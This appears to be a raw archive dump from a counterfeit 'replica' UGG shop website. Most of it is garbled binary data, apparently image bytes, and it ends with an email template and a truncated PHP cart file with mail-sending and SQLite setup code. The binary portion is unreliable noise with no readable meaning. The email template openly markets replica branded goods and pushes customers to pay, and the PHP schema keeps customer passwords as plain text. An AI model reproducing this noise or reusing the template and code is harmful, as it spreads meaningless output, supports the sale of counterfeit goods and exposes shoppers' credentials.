z`E¡>&,-Vc;jm݂ LkPn$S{p;'x/d#lv 7 JC7[sK@m 70 JDɯ*0/ZZx3$fh>*Z?AnH#L7tQwW\뵜bMgm{) Cǃ.LZ@!وD3jpB8;Tintxt:lnHc]:+AMvRlw;q-NFݾ| ox*Žp<݀mɻ9ݤ5@87{cCvם7$ xH 8<|立<B-A`u 1Teh"d+ajB3lІ,wTHfZ7z Y@D""nF9Q z+A}!UB4^*d?p`2\Tj8^j7 Cx7`x lH7PC,o`qnqaʠ*h#jD2d ,jhA1?5"hN"s*PCFjD$AĠ#W5$ ?45@kF&XIKbJj&I*!e)tJ7rk^IXmat-u)]f RP@%^2 )8SԬiCfIcÜ(Pn,X`~hEpB(A,@4tȄ1 aNYf 1*p{;˪ b( ~A-(o15NE,y PzHÃ@‡Ia l`\>  c^u U m:d s(G@ UB2Rl 5(-'V*X Y  ł.$;ɚ&Ie.vB\.ukg3a7^nw]BWP%Tzo쀭00PQYeϨ-MF,eM:ծZP/6̄qӲ$N 0P3fx$! @ N,2| B4R}L`8mlfF!1cAx@ϖ-Ӡ;{ў;yhWup;V!fAHADf`Ƞ_Af(%olz hDzϰ},i  [0Ǡ[pǐ X!GP# ,,w7 cV *%c @ tx@ltͦ-e%mUFmѥtttu|#niFnSu^3l@ $aGg #ad&8"}pwp~s'WVWc$F882} p$ p+3B3r!T,8!'!l#9"#BI@$6$ж:ORt4|3pS%.Lt؅`f'ݦTSfTU)U0)msr0I ̨ !˘DoU0o،ȌV -p(6~gw⇵ 129s?!R3 %92@ ,%Rk=@1U\4DIbepeR.7%duB/a;0CTT(}kC[/*,  -ْmG ku - EQphwW+,B9b,H؏3?{W4mHeֶty;NxT'|]J|N5$f@/yxɗ kPpyi+ՐC m'gtXr ecY+NPI?+b,$S U-tɥ]A5e[5yJPƩ.0|} }s@Py YƸr / pAE D  Ib Y П:zjpx͐!ՠRtpJZz#ʡ_¡":$Z#(( ,ڢ.02',5p8:JkУ>@B:%PFzHI(LڤN)G R:Sj PVZ *[**`1 *¦l:1h1s[M@uw`8 ch#gx#f*SRA-QRG 1 zKqjZD!qzaq:؁ /Ds q񫾚Ɋѭq*ފ*ߊ暮ڮz :ګZA ^(PJY*J [˰˯6ڰ0 1 k?۱%$*𡬰IK(Ɋn+۵C۴^+\<jl۶np o P;yֳc۷\~+1k,Z+XZ|n@  [{0ZG˸y+˷ ˳+O۰+V+[`QH˴O[{؛ڻbkZϫ{Λ㫬R@[sKͫ~ `< {H˾ˮ J1{{ ,K&|k-: › <lYB?1H  4`RppqȊȌ6Ȗȇ\P k @rʢK X;Pɕ|ɮȐnʴ\˖<˙\=p`˾ ˽ʤʿ|̊|[j=   [ plΗ<_d\p[Ϗ| ̓߀gϡ w|ĺt 1u\pm <b|}-=6[kz`&a屷^Ip)=u()B} / fNm&6+.=S֡ WM h}p%P}x!d -=sm҇+ֈ <)M WМ7ܫ( l`[W{&%L4o/ = ^zSGMO=ᛮ #˼[$+.xPpڰ m jaD0L×mԝno덾a۹_M MK_ڍdm/u-Nd_`k2;0+؀ܗ}".dq/0"k8ڶm} v \:](@%L= < ˄ adCp@(K~U`pO`4==idqChf r<<p\/8Ms.R@LKFnn^o^pL& `T|,]~ ҧ]_~P/ڹww@N5mސlT Ү ؠ ^ װ^r! < ځ'x߯)Dh>pvݻb ]9vpR NOt!qH$`ŋ$ (!:!BpN0lo9A :h"Z6"e=h8FWHepj`7ο ې;F\_}Akވj(5ҭ*x(무jI.oؘ1m,X`l)Z!`0z r|()` ;`p8/ʡ*d{Ux`xg8"q(p_f|$`-6c- ;=.) I 4@xB dp l' 2 DHűZp8W0 `ՃE)|!2!!# |R",h.$$"ah<5ArP t8r mh @Ȑ   P̸$tQ wA.u+R5P( ZdsC` ^>iqJVv)qJx*3.#~./P@&/0x /ZF[TA5j(ƒ4pZ5=1P^,Rf I)ekA7L3E:=0C  ̢S _l,$4QB9H%DKIay)9i0LAA7, QL1ƺDlOABC;J 6 ,V &y6d@APР%ڠts:9ACЃ !b'H@ r$ 3EJ06/ v90ջMSUU<!pH0 -w@bˆ&5)- )@hu$T =6PW<01eab)YLgZ {!Y, dm>_PJL@f a TVH+BA,쐂 iM؁`C7Ȝx 0sQ%!MZW/ yXv -[Cct &JYlb6 j01XHbC |A(k0y/  '-CnؔՎBV.4yx6oY!J&`]$ 0t CP%nt|t6liw`umH,!$ V&AU@ir| ]gҳZ ƭ?.kC5|LgFT1p߀lc*-j)lؐINZV }W/ぎ灻N q tְLM:9C)$2,rDhRHھ`F* hs7n8r nwc:H ;HK55jf3ȃf^ vH ZfXZ$ ,9ywy,>b  IN ` DT ό/QLq|Xi&0ER >D d{;Ѕn҅9[d>j3[ $3P$`;  @hj˹  ÷k)"2ѣe@=cX<ˢ<聥]=, 7h==1ٙ ==`P.TZ5krBQ>x X8 8P} }9C<=}ː%3y탷ET0QOCxT8xC"hӈICl'80xĈ8XĠ(J8 6| CxD;@@`yH7ZDAF@@{+zS_Ga Bd hH7{CU&㺦WS.; [QLHS.f C?p0X[ȆB1N來ɑ$ɑ{ (I4 ^ȀHOdIIPɁxx4 Ihu\IJ[hܼ¦P|K$$˲4˳K- @K K˗p˰t(xؾFKd̿K”SE(˱>,KW i"|Kd LX\̸ FM\4 M"`Hc5DP 4DT!X䬂jw뼄N'KD`DJt$|LϐtOmo H[Jߔ[ĵxDTeP\ JP< % Q zELEu)}UP,PEА&̓z<K&-'L')-K +,'pL*R)0ʴL153ES3!R8,H35;]QIb]H%f&v'()*+,-./b>aquu_\tʯ@>` p 6(0ƫ<(i#(< 3x";7EGHIJKLMNOPQ&PHnk3[6T0`ϳX&eq)!]*c~$@63Cijklm. o`e`4eUl0"` `n(`:;|; <+eHn0 =Vfv臆舖艦芶芦 8UWqZϵ]Ǖ^5أ/`)8x6h9h/M;+Xv7pE CQDPj7B;03=oJPrcł(W GhJ+ޏ7 6H}2X yc6o>+*l!DaDH|xU X8y`ې!U-!NCJL!8y*q'6P5xuǗ0! J aG5H$J,L44+:uuO@ Fo5KM$A3a%vE,7yH |7pt ,Pt /сf@4Dx!'P p@yY/xCt˛q1/@I@gHE2 (d|CC/$ E \ B  Pa[|!ApJA$ j^o. [ )ʼ])R@7$q @q(0dtʴ'C _Ĵl؈ae, ņQz2ǀWAr,䠚W +e`!  |s"F"\ve`qaf:F:{IAV@ L0 ƳfF=lGG҄Դ$' ڒ$$fŰA]tBථ6C0NRP!y(rfFf %4 QU!,y1>$Rz !HTs F򨰼]ղI*FЃu( V[$3, po;PPEP@yFnUX6.m4wjP)@f9e+H Dᨋr#)"]Kj4%-HL#\j%QQHUrAbOQ$B:]y-`pPj2|&rИB T @*|<( >03Uz > `aW< Ѓ rH#Hu@QB13-P q!xK @X&N,M{6?` jl*',R@ ! ;vr-h(l$ FD<~$;/Sz_$0BfIġ4sDdV!Y`;`c^x0 ҉an+$ Sۃi ^<:s:n!ÔC8 ; މ m x gIN$xa"M A۽> !h?@/aW_o20""jT BbQ|%'&b^WMLc vc4*cD߬ WT*- !!6<$av %0CX*F < bB6 9"EVE^$FfFn$EH;Z)`c&+>M`[&@8tK #2^A]vT G&R.%S6SnGd$%bAPhx ,pD$B(Q KDZ>%``&a_TTHUv!J>`!>A6l6t6|CE Q@t@M)@0,P3&oofR& &&,!c~#,"(P%"#c"*ʣVdȓ(HMPUȁv.Eu[Ra``nd8(^dH*fU*Ihd򡓔(8,P %ev.mVUAVxB>ڈg @O$ف.@0孩*ޝ("g眚$c&-h5Bh R6PR$B# D.,ƬS6,"ľ(5VlC`-X}>,u RzI!.V&ͪ{|N,dQה-R00'tA֐@ dz,&*b^TZ髦$϶n.&Cz%!(""n.Z֒:r⬁*_6`K0 ,"v.H-n,-0"W"3r!R->~vmĖ.R,Bn/J/roz/o&mί~nZobү`/l//0G R/pk2_pGp~oF/0 (pc~Z0 0߮o0 oBJ$36&:QJ0ǨS%0p&1/iqpmq^+.Na֮`1o1F*/o1z.Jk!K+"'"/2#7!k.GR 1؆p'w'2(($r`R . 20 0,Dz,2-ײ-2.n2/ h g*_2RM4DDBBCZB4$rp**1.2@,@3=׳=+4! D.D]DJ#:',* ;/< <74@422TE_4FgFk4#()LE7*d2KH:IK#4&**#p=t2P5Q!Pۂ2_H$(.8?G4SP?B$B45Wp5D4S-Mn0;+oC(O7 TB#׵]72G/5PNZPVځ@Aԭ%Z0 8ք)xޕ5BM[2CSCsO3jv u2_Dx@XE7 |I_Kp^.@dEe"qDVsvzÂh0\\R^'RlKq-ܞ.L J>N+Ҍ.{ge {3 m0u:x-Sb 7=;s8+?`jКFֳl tCe.g"n6@xի f@l6ȃ"7  ,(1cGA9dI'QTxp!^Z86ھ R * 1#Do!X` E 1̂*lSeԻo_ Kyzy+<}J(RLBe8ƫYF൮ؐo=eL<肽ypm۷qֽc1AҴy?-z4ҦOJ+VG ;[Ԫ۞>ּѧW`߇ \L㒕WnzT?N4Ҷ $dë!P !2 c,'"K2.{N33 BFLkY3AqQ.M3ɖ̢̹+ѵAnEӂCp:<R,yŀ216CsI5M(gb( +TM5(L>4FU|$zqJ:;Jtm] ،|-V׈BX|Ymƌ b?(YM(Xp]KX6JLuVk=V$B/ACBKO$ŖI[-m,'u.;ab@[;"89]䄰 F7@dN*Y`YNWj{֭y4SG@C-_RDU 0Ů\%iͷ$ 5N`; (s֥$A PA!66l],plT^H/QHD8m[L qY .P!I<ؐ8nD*f /ĈPщ#AT FD;2 b1BD ѥpEk_Rv7&C`Λ 7- l^| Rz|)8(7^P,`_ H^^@xc@@@w :` 0@Wp/ĉ)z PG/A ~3brA(@  e 0\1  J I R3<=v  D8 X)ӍOmQIN6pTvL (HE5.0Ck 5(grV X *Kn9u pB pH@DI ( @YR&`z-0N/z ql(<'a7O5,:  I 2P~$mA_\(0P6l(I'Ё 0.wL@ 5!!82@RP p"b Fg9Nm. $ W2#ؠgz>`z, L{VON#@jJI: r:p`|Ʀjz  .{tlz^ zꖋBɩ@A^``h ѱ@LK |^|`A mj@SXLqz"ц`"  A $#ga rmL˘rncHx0a05l] fd-BmBmdOP ܔan  !x)@$u; s|Śd ̠Ĩ BJؠ t:d oP `*z"mS.K1Yc5;f$u@, ۠ trJʩ4̮v0=1/ԦZ!: d^T~%2`|G^~x4kNy0ńJ b(FjpWF{L,r%t,0&#"/t !BghjLk,"t((t4⎨f |ONki|qNXGZD'P?v&1(@i"RrT+ n+lAI&ΜRe c6xj|. u[hW~DXHkyQ75UBI\YvATUV@_U@A#T<[:~L"GQtOX?G4CZQU DŽYG$v[Q#s%Ktg@{g\\aU6L#\,-UF!,Eed@A% Yt8g}1^wR\U9@ "^LvKh5oUdCb ` ~R:  ` I8AJ!ؠ$  !  t0 tz 67T 8i bJTtiN@D51 e2Xs_Hd Pj<D6<2M^c6H GxweqdX~MwX* Go5#0` B .,)mBr.^!ˡ"y=[yh ؑ"~mZ ~XƸ p` (BU t!Tx.p^y̠ 5M( xBj s5=9+oA稚͂g6aBr>g`Zb8p8PPz t!nNPi b\#Xv…] V&RYGfMp$b}hb^xūE!Z{:/ڒir7Yc%Y,kR ( ]v& @#t P g2P3&Ejl'/Kk_X}Ɖ&:[f,ZA_ǙR[SZ[ehg6S[qgR*:L)Z4xޠzFIeZ=B&5vS85#$ȳyO&S|iRt[OR<|ZX{Yn5m8@;x'cDLb!0WM`cR7<@ `|Uyn4Y[$ .0bJ y!3> h-G 6yR%O)d,:t g]D>-R)ah{a}x'bMGaH`_ H ~:Ԁxs%Zab}楛g"`FGML5 {*:+<}Z!;|@f=" b7z@ ؉nlYy|}ZH@NbΛ[#QRT\NW_H5`=~ʧH X@|qJ&NbZ) OĒ RȚ} Wo "sv؇WãQEןM|xeG n NDߢ4!.*+#^!Y& T Z Ha,D TLjh (I _!X"Ƞ>&hƗ o P |^`~&ҳC۷!CTQҹ"/?t&I:B9mtrHY }>cfrPaF7wLB7fG S ,TB0ymȁ]llЂDKELgqP  E|0r$X r (xNE^A э/mxd/H=L %Q`$pMu\tQT1TR-TRW}UU\yXdZl\zR^ŗ_!%gZRؠ qyAYgfR ]qlDa 1,M I-YM$Q\K' upAPFpAF8\Yx+v6\CeTRq\9] rDRvP- ^{7t!z GPKT05h|{@D}! GPdEXPxyb $@"=\'- (KwC$5U=hNZiS~XeZmת:>^}zN+xg %, [, P7HQ`R1AVR!Aq@lL !""іCa," l??w`" {fI@3#Z e(Eh}Yz^ `^6(.r"v*.0{ cN^HD"/:P)H[KX<~vs$ ܰ1u#(IM8G.RV&)q*s✨b&U*\.)k"]QHQLR a}\H.r`Tt`8oKꤌjo )PIv ~g#, LN `x''<+*W p$,Yi | ;F$P g+6 @(@9$`&H‘n!B%*x)ŃEryHd1of^q `nDP>1ب RzcW(uJsܨ>G=nUc 9dfȤ)߬K:Fᡧ!-Ipăm8j)涗;P )HZ dA rF#PHޠmt! P) 24@v@ Kt aI^p a̤ )YIZI6$xxQQlR VL%6TB`@{& QeYă(RP,A8)Maܣ eS2թV;lhfՈSڹLJwİ0QT;`j_GrQV̮7uѷءv'y:R4廙^/OVi_#qꝶQfpP.H| 0V>U=&hEj5{B>M34ϧNf 3P=+4뗂ުzB{={:TFG/`/r|0Q8a+| e<fKH8gdP?Ht++Ucx ÑcGw1dd['iGwhWU+RHuؐQ7uqgDv'3Hr~~Fsk}Tu (PUzTD&8bWcnD4Yvm5jn)F\A0?BASrrAcA[en*LJad3U"ptpYFmҳHvt\s5艟H~7xn6s&raGT=FR"ftF}P5/ ! >-&>3fY@{#eB)fAmtZx6fP ;EW&*f${Mx -erRF!B2xdĘ!0K5\<CP@bEQBO9ze=T=507 !r'kCk2yk7'b9,1FG}rA< Ql 5p/p4@/ϔ4ɵ-ޠ16'[yv07`y!R2/PK 1["@ 58Lu1v B` %1eP$Zu63P u $[vAr0' W \`/`JZS,U% Fx(xwk57ykP;7k}?GZ(Fb>2<%!AC" 6PY6 jt %=r&. 0/p%\Y26p5uQ.—fWX8!@=r !3Q23_/3FD1AgII pp`s=e 5SW` p x9O "i1RA3 & vw0- ,ChTE+Z sA=.Yaɬa6!Ks%PR1ߊB h Ep'*B) EPfzlLC)R P& /PP -0v K`Pz6ё b$@s 1Ep%Ъ BI5$f1#$0$.wa:t qxxw++7r{i'GH}J ɃؒFR&HhL12mN HM /cB /+ YހjR5Q"hqR@ (tdu0^[?o dzl /! -` pf'=ě5 a2A^7k0!<q$l6ccPhII8Mj%yv轏SK+JYysST>g8S:f+v&lwq2ثB2pK,+xk}g,zW2Ʒ1'郪yT} 7)vt܋ƿ&|Zw":V+%|lV5d'׉ٌS`6Ϫ\~Lv̴{v|{'C| ~LvK lXK* bTGƭv{wɛ~GU{LuЊɥ<*zx7BZGldsuQ2|W뾹v7w(@@٣`7zvswvԾ bqx8H#xp(lBjHtJmu<*GLf'imb̈$4wbl=lf`‰$qźҺҖM<~+_8P ]:6g,*JO} fvMx)kfβr V(5lwLKdnU %M-+P4SoSa;'ٛ9yKgH|$5! 8F"s/7+#зP5N&^P0CIa,bw rPʰ =2PW9GX<rK @6$ P a_dR Eq 0iap8S@ up\׍,} O O)N ސϦ؍a5@=zKjK[ ;4^=-b7D xsA-8 /'@}Pi"U/`Ub6l^ ('pPxxpxP9A ,]v\0S /& C۷!CTQlP o\ÎAE@-rm[=Qن+k覫:_.f{#</CM`>y{C@ÿ7D@z})$ˋ! `_O (x/ty :kq,]tAXJ;B!(|H5З!B! 2fV5c!W&;撋 \ i䀢]ZxA2Pb;xl.(b$;0.l`l;ڢ DZb/x5ZJ`?AP #d<,:, p7ݴ7\CA9會N:#o^W<=/bÎ뺫ރGDL@klb(\{ :,fX d /^І 98R]Hå@} h`X @ ! wPHL96TІB쐀$E8:0ťx%X@Ұ(,F@ 'PrԀS[A3`C/, f‹^Z$1DŽ cx`[@B3ep ī؆є"b4ebVםqy\ NU>v]N|}_mSKXDBFx $0R@lx EtP  ;! cJO/$ $AO|P`UH `CBAHxKAfEtam0Csl4z/򊐂hӝT3dF>CX, x@h~R7)@LTVR-k pX@>/3 l jʆKuu  $aP\3%>|R_Ǜk+~lY/ah[(b" u9A}`u\ nh|Hns?6 E Q",=7>^zf ts7 +(XD_Aa\z`4)6"*WDIw)u@S(n[{u6+N FEߋQ8g-br\Ƨ.+};p5ak lv~o z?PcclB'ye`Ý͘ lx(9s163m,ZY6}Οa /L@Rft7mt-}:^+zZ GDg/ꋶu2Li[~WkSõsp6厅a#[z6=b_=m0ј>l&pd>Nm옚IVY'# ֵũ)^ CԔ/܎Sc2pM6̀Eo;Ļ}C ̠I¬ _ XtMg7Ms[ƔF&igZg25iTkMƷm~0=Pdg+!o'O'Q~ [ .jPT I@Z``{xۉgw@gw>Mʛ_t~镎8(<*i䕔(r?W2t%N )$cXH֡& ;o; pWp/J2 @*X _P $p@]h H*(C[K<~<Y㈐@ rPCXŻA;HEO*o@8(ˇ:QDP:a,QƩ'J oU( *H49ɉ* 9V:(BIM1/HTRK)!I膌b89SK@ODx.E7[k7A 񋹘P?8-qӲô;u#R;̹EȺES$ۂ #'+8ș66'p^P^_Gk܍_q搯9 ,4V< 93ar+?$Lv_zᶵAa@iPm14l`Ѕ!1)~cy[(T,c?>2WEXX8>O_=c^+CkB}W@dOdZ D\ld_dE4_ރ#^Pe^ņ`R>nWUWV.cA$PX_5a&)ae_fm`DG12^3f=d]xйn,lfx?fanSf= Kfr^f=Wt~]2ZX=0aPh^hxF舎?-Tgf{&0>fWG.ۀ>HJFw\hi~iii!.fi7z拮?}?k[`~236eyL\j_V梆[.–k[C#Ne~Dfj6>?pmm.m>m[hl^mh8;D۽&{lݼI&mmj^l>n?hӠ?; :.kvWpKjFn&vږmv23oO Fo.gg_ƴ6.jbt&t6st=tVM_HAU&s۾D_pou_깃 ytI7)GTw+uhh %gjipGvR7oSweTkghmؠXj0m^v]ovEurwG&vnw:g\eygwjbunWq?Wv8wu~Cwpxj~d'xq?ywnq}/ugw/q\t?p_/zPouk57w~ߩ㕗<;!hr96Sk'l7zlngh@d߶{{hty{,y@p[8mGȟ|m?>s+o{ķcb0lO}ՇjhW{g>V|O~p}7Xp'7|}zmF}X~<7G{o}goW0Fnx~@iO_!xuÞrO{/y6fx%p "L <@\(q"Ŋ=AFU'r$ɒ&Gb!J'_|m -L0Mi{dNWoF!pM=TUpUV[uUuYWYi̽bD&ZD(x^rWDb!"-xDo$B GZ#0cB mND!܂9x\Q܅cehtjgXoHfM)oQ,x7ol n:&nR0MD^XmheLN=X)%=܄Yn>4&upses=/wjǪ'P4P~=Y,PMkq~hπ z qJ\ ]u8 N-V78BT睓:6:*pgyEZ 'v@(|p"f@<e$ 7d%ӓ г|A`FF(ACH vöLAs]sܸ-Y6eUNTۡ U}N7 $ ͵] P@ ƀ ŐISi`^bկ`W 8uD6,`, bH`Pa aYF͐T!`p q>S nBi!VQZЉa<Ľ`FF aYP؀V'˦'bTt`tpb v0QiXI=EM" ]b zWA4J4R4NR5_4^#6rc5nc76 }#5c4֎5vc6~d:c5ځ.@Ak%L-d@F#M\41"9bXu56QbWYb3Ɉ XEbdFjFFzGGcDAGEvIdKf$*%-6;t8M$NN8O P8tA" B}mDKp @9heWzVveV XjXX W% ZWeVnH@t%W%Z\%_%^eZ~%_&aa"fXv6"CdJdRfeZebfff&"@RF4eSʞza` UFU+ kfl&ll@m&mn&mm |qAopmo&sfs ȤMhvrgwzwgx~g\!hhr!2 2Jdjag}}g~~|BG}A hPă2h:lmڌ7\ShJzNe%g8̇J (]䎃h(0EnX(gg9${`FN(u` B"i"i*2)|&b#CO((f3Əă院i隲iiNFAcB6d("^)2"yF$^zh'@i^ ^Zb)RRx騎jRM**CԘFNhF**VF 2%*)aմ@ CJRkZbkjrkz뷂k븒k빢+& +|)6bhީ&T,,kFl l"l*lO^6lvFiNjrlzǂlȊl`a8_"ګ =lllK+TfUmn֩,i&.vlJRmZ R#ibsђmٚ-0"Yu--b mmަm&jۮla,YP D!P&}L.Ph_dZ "jQ . l": נMؤ*nm߮.6suH܅ .H{n"/溢f.rRA6P)(C"&/./>6jĀ`lId\mygIl2S.@F jBp[rmm bSOx2(dA A >H@F$@2H@J'/lۦN#]@<@41x/lC \l F7܁t@O\@71 qqqr r!r+n+$IA]}@7X IyXMaDR (ݳFr--r..r//s0 0s11 x70/22o' G IFVY18@7\$5X1]  ؋s>>s??t@Xw*m2vh M0(H| Ap97MBI}ŝ@ 0FLtMMtNNtO:&t:3˯Ct.؁=h tM$ F' 8'x2¨1O2܁A7,,u\\۬+/Q7&5LC hE Tq9c3քltqfN*.B1tn BF.P /[svnB6v#GsiipM?ꮐF̌ nK*2p?%4#4S%"K-}tP#d^v5wA*l݀؎w~.o5Y8s{{6D>PNwhE`>G;D;ၓE0c@87eC"Ihߣеx$x^R6+|8hƢ>D ؍ɪ.^<8d2b4'̮J ͊(rNypy֎*,/u8{:jm  . (CҜǒN|+`˿D"eȜAˈmsEV+P9 L4 X uhgwy8[)@N%W!8X `NIsl^H P^lG6(Hؔ$ 6ȁAH\ guDHyXd@ QL@h9 H|݇|^V,W0Mc_oMRoOVp@(x3Ȩ NG65](h̵;.x .nHEH`X^`Q(Bt2_; l'3 C;< x/So0 kp4)8Sq+ae(ZW"40mLH3ҤqIj`R$c!/H$@ wpx 9pYʅ đ.7nLC$8sp8Vy\ ZpP@ K(6 " r` j$ @ʸh2dTvj ht2) MM{_B! `\L By:@oS !Bz$b6=9aтHL= ΙnH/v e`%̼^t΅Rb8%@ݐa^ R ^ƒM3'(2!yz-y*Z] 9!_\ŵŤ?%! .Ѥab@N"o2 [X.1={$͡hdJڙr&SRx 0^ _fmABy x+HP㌘%!W m- 0 (VB^8AFN6 }.AӲ N@A%-3!滈<˃bp耮j3t Ba-`qZ)$7seza^}[; y.Q@(hel~/m HЁЌ^ |R >ً題t?ї>Tp!7V营|MpI24G8t*l@Bjuuݗ_6 p @&ap%iX`9%lX3P OɂM2+MN &J7؀lB^ Pƣ:`jI& FBҔxObw@O -"9$3>Z!2| j6  - 0/˰G\U>sBWH 1J@NZ|\ ɭ` .U`,F8ZpP;'@R- cQg)p0hI DVN`\䠸(@r` Z*Gf#^BJ\ ow+^1 ZђB Pp ATkh  mQp&oᰭ## ʱ](}R B% Oz>z EZ/CpˬDa8"ѫ@(2 20z-,gK\(` @ 6HϺD$M.^R'dC P>9&P ?GMR1ǔR߮ u)+&ZO&\kFSa>!+|jx`B> \$q>T^r (%R 4 cN &hS%( T;!3מ!L0B& bؠ^rg&`$t @!a|upq8 ̀#z 9O`NlT Z " @;SKEOwh^iUF'3Z]_cukVnIUkomV/ƶlOmiזe=_Rp#0OY -لBJVlUKmZ[_snt5q6)=c<f=0r6do5_rpfCwnkFyeZ@$v-YResswjӓP{{rtmFVzc0^ri6s5!qz zW~r{iB`yefH|h1k}F4>w~X wJx  q&ez#Wvsue}q35T!8OMnV$ n~. RNHڤ 8}iw}KvjY8 SvDrP&z8tmݢd€5zY}ow E8tJd$Axd^P'Ÿj5W!qwJfH.]v yQ& A8vo7 zWlt N tj; "vMy%5yL= ha^\7 x8rƹE!$-1|C8eؙWy L7@4vvsט1hA%jb٫T9$/Wז١m4up'i0 ltAb!nZūy՝WN!:Oiڦ{7h?hѴym56_z}k1|֚ڭZ纭ZQ 9zyR@[۱[ Ӷv:o˚waFNS[W[۵_U/[}3FZ?B{{';۸Q5;wyη8Zm[z-g(Q:y{Lkb +kա b b"IZ97w& v)|y•ɽǻL3ffJ< azZE<)3z}&R!0šdf\_!yimm|&& j'\˷˻˿\ǜ\xb ͉p͟l< \8kz|Ml"(@#]'+/3]7; 0ZGE X7?[_c%%N!Pbzb؋؏ٓ]ٟٗٛڗzԳ]5}ڣ]ǝ˝܅V@1{{?/쀈&^]= =!u^Uo| ԡՁG=^xݨ=GޒM~T:]!ε=f&c#桜>KG=ΑZ\饹k^"1kO8^m(Z^ۑ|ZվSڶsvi@~}>u])۴I^!GMn6EOE{Q󫼤s~ܚ{amM~R/fB_._ CҜa_ןy%@ H*\ȰÄFLŋ3Z8F6Mɓ\ɲ˗09 &8=j G79/@ql<}2JU҉՝`aʵׯ`ÊKٳhfڕگ/hqߢͫU߿ VWk79u T(QH2u-ԩoyRsΛCMӨS^ͺϰa{!ΰ 77ζ[ȓٗĊ{ :ѤK>ËOӫ_Ͼ ȟO0q 2ހhgw<0bR0FcITRQv ($8t< -,0/@88ch 6%)d6ؐӉ HF'cES^\ve'2Hdihlif, 8ʜtixyjeUH)蠄$t;IXua7v夔V*dc馜vz& X*ꑉi9gUZ:tT6j!Iꭸ~kTJxZz`+x+v>;&:%^ i+.tK(+좂dCp,lߘalG wHpӑ.Jf bLAO,0,@#4BK@-DmG36/`GN604TWmu~ rLpqUOX*h{(&Sp-tmx R,< lA<9.9F aزz뱭i..mREBdMF."oU=^%R-eG R3Y$婠P!dUIU`c=[OĪ/eC!س:Vǡ /s`\11r^#G@ف ӦArm{~Y*W\R1wGXpUyCR89 eVʃE%A ri*lh;htAȁ Z?хwEZE?Sb](hdJ;>Fv0/@a3xPÑ&0|%ІXnrЎ H6lЍ`:)HD`46Y- )I/Q p`j`\ ²LSn%bV'ɃH t;\p`|QLp~4%/yt@~d߀A r3d1l D)͎#@a 9ބ5I"f] '6t!@$.I 6?: sY<"ӄf jH^B@A"3y#RB3D퍽xDrT]{`>"](mź7$30C@o Elt6|08rL:D@各JL؄NPRR!8C@\؅^`bz RpG:QE0l؆n((b;q'@HB ?8XxX;3 KgDXx؉Xr3T{ 0x8lvvK'|Wr&pE S'ȘX8yVg (#AX:۷,׍88H]X؎؎<>-wawh|hx"c+Q!H#)R9Yy~pCQ(-!|jHa- 0I/  7btFxzM=K(YFy^B>:A<QA]H9TY[*7Ni049^`b9dYfyh'ub#9%AZtYvyxz|ٗ~9Yy)E?Ym^Rp]99Yy_Zq47L D'Hu`Fڶmٛ9Yyșʹٜ99? C y{WP $ Yy虞깞ٞ9Yyf$ Pcw`Ip3xeI5E:Zzڡ ":$Z&z()  wPI3ߠP6 >NJqB:DZFzHJLڤNPR:TZVzXAzI/N,l`w3@I0'pr:tZvzx]z2t9>hZkrN ڨ: 2*`ja79#xw`_%xڪ:ZzZIVy# uRhE`'ʺڬ:Zzؚںڭ⚬fЋ]-c*hx :ZzگZI7Lٮx@D  ;[{۱ ";$[&{ ,-ѩ*ڠP> 6{8:<۳>@B;D[F{HJL۴7 lyS31O1\۵^`b;d[lZډ@ pr;t[v{xz|۷~;[{r4Kl 7{5;[{s۹˹۸{ۺ;[{+;[{ț{ۼ;[{؛ڻ۽;[;;cheapuggsales.uk.com/cart_new/failure.txt0000777000000000000000000000144311634073703017571 0ustar rootrootDear friend Thank you for your searching our website for high quality replica items and so glad to see your order But so sorry that it seems that you didn't go to finish the payment for your order. Kindly tell you that our products are high quality replicas.It is almost the same with the originals However, we believe the products deserve the perfect value for their prices. Please rest assure. Can I do something for you for this order ? Would you like to pay via credit card or other method to continue your purchase here ? We are glad to give you a good discount, and we can offer you with a Promo Code for your future purchase from us . Would you mind to tell me which time I can call you to discuss the details ? Looking forward to your reply. Your order :{var_orderid} {var_productsurl}cheapuggsales.uk.com/cart_new/include.inc.php0000777000000000000000000001016311634073705020306 0ustar rootrootIsSMTP(); // telling the class to use SMTP $mail->Host = "mail.gmail.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = POSTMAIL; // GMAIL username $mail->Password = POSTMAILPASSWORD; // GMAIL password $mail->SetFrom(MAIL, DOMAIN." cart"); $mail->AddReplyTo(POSTMAIL,DOMAIN." cart"); $mail->Subject = $title; $mail->AltBody = $content; // optional, comment out and test $mail->MsgHTML($content); //$mail->IsHTML (false); $mail->AddAddress($to, ''); $mail->Send(); } catch(Exception $e)//发邮件异常 保存异常信息到文本 { $errcontent="errtime:".date('Y-m-d H:i:s')."\n"; $errcontent.="tomail:".$to."\n"; $errcontent.="mailtitile:".$title."\n"; $errcontent.="mailcontent:".$content."\n"; $errcontent.="errmsg:".$e->getMessage()."\n"; if(file_exists('errmail')) file_put_contents('errmail/'.date('Ymdhis').".txt",$errcontent); elseif(mkdir("errmail",0777)) file_put_contents('errmail/'.date('Ymdhis').".txt",$errcontent); else //errmail目录如果创建失败,就干脆保存到订单目录中 file_put_contents('orders/errmail'.date('Ymdhis').".txt",$errcontent); return false; } return true; } function open_cartdb() { global $cart_db; if(isset($cart_db)) return $cart_db; $dbfile='cart_db.sqlite'; if(!is_file($dbfile)) { SQLiteDB::setDebug(true); $cart_db = new SQLiteDB($dbfile,""); if($cart_db) { $cart_db->exec("PRAGMA encoding = 'UTF-8'"); $cart_db->exec("create table users(id integer primary key,firstname text,lastname text,gender text,email text,password text,address text,address1 text,city text,state text,zip text,country text,telephone text,regtime integer,regip text,lastlogintime integer,lastloginip text)"); $cart_db->exec("create table codes(id integer primary key,code text,discount integer,discounttype text,fromtime integer,totime integer,totalusescount integer,percustomer integer,used integer,qtyproduct integer,qtyincart integer,totalmoney real,price real)"); $cart_db->exec("create table used_codes(id integer primary key,userid integer,codeid integer,usetime integer)"); $cart_db->exec("create table subscription(id integer primary key,email text,firstname text,lastname text,gender integer,occupation text,birthday integer,country text,zip text,remarks text)"); $cart_db->exec("create table orders(id integer primary key,email text,orderid text,ctime integer,alerts integer,lastalert integer,status text)"); $cart_db->exec("create index users_email on users(email)"); $cart_db->exec("create index used_codes_userid on used_codes(userid)"); $cart_db->exec("create index used_codes_codeid on 